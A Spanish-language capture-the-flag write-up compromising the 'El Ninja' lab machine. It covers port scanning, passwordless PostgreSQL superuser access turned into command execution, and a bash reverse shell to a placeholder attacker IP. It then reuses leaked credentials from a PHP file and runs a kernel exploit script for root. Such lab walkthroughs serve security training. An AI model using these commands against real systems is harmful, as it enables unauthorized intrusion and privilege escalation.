
Table of contents
Open Table of contents
Enumeración
La máquina El Ninja tiene la ip 10.0.2.34
Descubrimiento de Puertos
Vamos a empezar enumerando todos los puertos abiertos de la máquina, así como los servicios y las versiones que se están ejecutando en ellos mediante la herramienta nmap.
nmap -sS -p- --open -sCV --min-rate 5000 -n -Pn 10.0.2.34
Nmap scan report for 10.0.2.34
Host is up (0.00023s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Apache2 Debian Default Page: It works
1337/tcp open http Uvicorn
|_http-server-header: uvicorn
|_http-title: Site doesn't have a title (application/json).
5000/tcp open http Werkzeug httpd 3.1.8 (Python 3.11.2)
|_http-title: THL Ninjas \xE2\x80\x94 Precision. Silencio. Ejecucion....
|_http-server-header: Werkzeug/3.1.8 Python/3.11.2
5432/tcp open postgresql PostgreSQL DB 15.15 - 15.16
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2024-10-16T11:07:27
|_Not valid after: 2034-10-14T11:07:27
9999/tcp open abyss?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, NULL:
| [+] Username:
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| [+] Username: [+] Password:
| Login Failed
| Help:
| [+] Username: [+] Password:
| RPCCheck:
| [+] Username: Traceback (most recent call last):
| File "/home/wvverez/server.py", line 33, in <module>
| handle()
| File "/home/wvverez/server.py", line 13, in handle
| user = sys.stdin.readline().strip()
| ^^^^^^^^^^^^^^^^^^^^
| File "<frozen codecs>", line 322, in decode
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
| SSLSessionReq:
| [+] Username: Traceback (most recent call last):
| File "/home/wvverez/server.py", line 33, in <module>
| handle()
| File "/home/wvverez/server.py", line 13, in handle
| user = sys.stdin.readline().strip()
| ^^^^^^^^^^^^^^^^^^^^
| File "<frozen codecs>", line 322, in decode
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
| TerminalServerCookie:
| [+] Username: Traceback (most recent call last):
| File "/home/wvverez/server.py", line 33, in <module>
| handle()
| File "/home/wvverez/server.py", line 13, in handle
| user = sys.stdin.readline().strip()
| ^^^^^^^^^^^^^^^^^^^^
| File "<frozen codecs>", line 322, in decode
|_ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
Puerto 5432 (POSTGRESQL)
Vamos a tratar de conectarnos a postgresql con su usuario por defecto, postgres, sin proporcionar contraseña.
psql -h 10.0.2.34 -U postgres -w
psql (18.3 (Debian 18.3-1+b1), server 15.16 (Debian 15.16-0+deb12u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off, ALPN: none)
Type "help" for help.
postgres=# \l
List of databases
Name | Owner | Encoding | Locale Provider | Collate | Ctype | Locale | ICU Rules | Access privileges
--------------------+------------+----------+-----------------+-------------+-------------+--------+-----------+---------------------------
postgres | postgres | UTF8 | libc | es_ES.UTF-8 | es_ES.UTF-8 | | |
template0 | postgres | UTF8 | libc | es_ES.UTF-8 | es_ES.UTF-8 | | | =c/postgres +
| | | | | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | libc | es_ES.UTF-8 | es_ES.UTF-8 | | | =c/postgres +
| | | | | | | | postgres=CTc/postgres
thlninjas_internal | superadmin | UTF8 | libc | es_ES.UTF-8 | es_ES.UTF-8 | | | =Tc/superadmin +
| | | | | | | | superadmin=CTc/superadmin
(4 rows)
postgres=# \dt
Did not find any tables.
Conseguimos conectarnos y listar las bases de datos disponibles, además, listamos las tablas de la base de datos postgres pero no encontramos ninguna.
Si observamos las bases de datos, tenemos al usuario superadmin que es el propietario de thlninjas_internal, por lo tanto, probamos la misma técnica de antes, conectarnos como ese usuario sin proporcionar contraseña a su base de datos.
psql -h 10.0.2.34 -U superadmin -d thlninjas_internal -w
psql (18.3 (Debian 18.3-1+b1), server 15.16 (Debian 15.16-0+deb12u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off, ALPN: none)
Type "help" for help.
thlninjas_internal=# \dt
Did not find any tables.
Conseguimos conectarnos y listar las tablas de thlninjas_internal pero tampoco hay contenido.
Por el nombre de este usuario deducimos que es un superuser por lo que podemos intentar ejecutar comandos.
thlninjas_internal=# CREATE TEMP TABLE result(result text);COPY result FROM PROGRAM 'id';SELECT * FROM result;
CREATE TABLE
COPY 1
result
------------------------------------------------------------------------
uid=104(postgres) gid=112(postgres) grupos=112(postgres),109(ssl-cert)
(1 row)
Conseguimos ejecutar el comando id.
Explotación
Hemos confirmado la posibilidad de ejecución de comandos, así que, vamos a mandarnos una reverse shell.
Nos ponemos en escucha con netcat
nc -nlvp 443
Y en postgresql ejecutamos
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.X.X.X/443 0>&1"';
Recibimos la reverse shell y entramos como el usuario postgres
Movimiento Lateral
Wvverez
Si revisamos el directorio /opt encontramos un archivo db.php
<?php
$db_credentials = [
'username' => 'wvverez',
'password' => 'dun1bd12dh979d178gd5%djnashda'
];
?>
Son las credenciales del usuario wvverez. Las utilizamos para convertirnos en él.
wvverez@TheHackersLabs-ElNinja:~$ whoami
wvverez
wvverez@TheHackersLabs-ElNinja:~$ ls -la
total 56
drwx------ 5 wvverez wvverez 4096 abr 28 18:51 .
drwxr-xr-x 3 root root 4096 abr 28 17:19 ..
-rw-r--r-- 1 wvverez wvverez 1955 abr 28 14:34 api.py
-rw-r--r-- 1 wvverez wvverez 3065 abr 28 15:43 app.py
lrwxrwxrwx 1 root root 9 abr 28 18:49 .bash_history -> /dev/null
-rw-r--r-- 1 wvverez wvverez 220 abr 28 12:23 .bash_logout
-rw-r--r-- 1 wvverez wvverez 3526 abr 28 12:23 .bashrc
-rwxr-xr-x 1 wvverez wvverez 1076 abr 28 16:15 config.py
-rwxr-xr-x 1 wvverez wvverez 1010 abr 28 15:58 db.json
drwxr-xr-x 3 wvverez wvverez 4096 abr 28 16:15 ninja_web
-rw-r--r-- 1 wvverez wvverez 807 abr 28 12:23 .profile
drwxr-xr-x 2 wvverez wvverez 4096 abr 28 16:15 __pycache__
-rwxr-xr-x 1 wvverez wvverez 882 abr 28 12:33 server.py
drwxr-xr-x 2 wvverez wvverez 4096 abr 28 16:32 templates
-rw-r--r-- 1 root root 38 abr 28 18:51 user.txt
Root
La versión del kernel de la máquina es la 6.1.0-26 con fecha noviembre de 2024, es decir, es vulnerable al CVE-2026-31431 conocido como Copy Fail.
Empleamos este script de github y nos convertimos en root
wvverez@TheHackersLabs-ElNinja:~$ python3 ./copy_fail_exp.py
# whoami
root
# bash
root@TheHackersLabs-ElNinja:/home/wvverez# ls -la /root
total 44
drwx------ 6 root root 4096 Apr 29 17:46 .
drwxr-xr-x 18 root root 4096 Oct 16 2024 ..
-rw------- 1 root root 98 Apr 29 17:46 .bash_history
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
drwxr-xr-x 3 root root 4096 Apr 28 12:44 .cache
-rw------- 1 root root 20 Apr 28 17:20 .lesshst
drwxr-xr-x 3 root root 4096 Oct 16 2024 .local
drwx------ 3 root root 4096 Apr 28 12:29 .mongodb
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwx------ 2 root root 4096 May 16 15:50 .ssh
-rw-r--r-- 1 root root 22 Apr 28 18:51 root.txt
nohh022